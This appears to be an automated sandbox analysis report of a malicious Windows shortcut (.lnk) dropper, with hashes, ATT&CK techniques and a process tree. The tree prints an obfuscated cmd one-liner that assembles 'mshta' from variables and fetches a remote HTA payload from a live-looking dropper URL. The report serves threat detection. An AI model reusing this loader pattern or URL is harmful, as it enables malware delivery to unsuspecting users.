fc9366a84dc1f29f0c531e45950abf9f87a3a5bb1b54480f7e35ca4a964a90fd

Analysis

max time kernel
58s
max time network
64s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/08/2026, 01:03

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General

Target
DOC-RN1JKS.lnk
Size 1KB
Sample260823-bef43awvb1
SHA256 fc9366a84dc1f29f0c531e45950abf9f87a3a5bb1b54480f7e35ca4a964a90fd
MD5 f00ed96c1cf128193fb1152070fa1124
SHA1 e13543ac8b60e760b72e1240a4599f29c8b5add8
SHA512 88eb84afde485187727c50323567e60cc8178f9811dbed9ec37331401ea14e49935935215f2a9c157b655e1e4bb299ea40c2cf5af8217cc7ed3d29b22d19ca31
TLSH
T19F3192003EFC0624F3B39F7684BB5B2099BBB8568D20C62D0140864C1032A01E27BF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2732	cmd.exe
3136	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 3136	2732	cmd.exe	89
PID 3136 wrote to memory of 3468	3136	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-RN1JKS.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2732
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set lF=msh&&set hf=ta&&start "" !lF!!hf! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:3468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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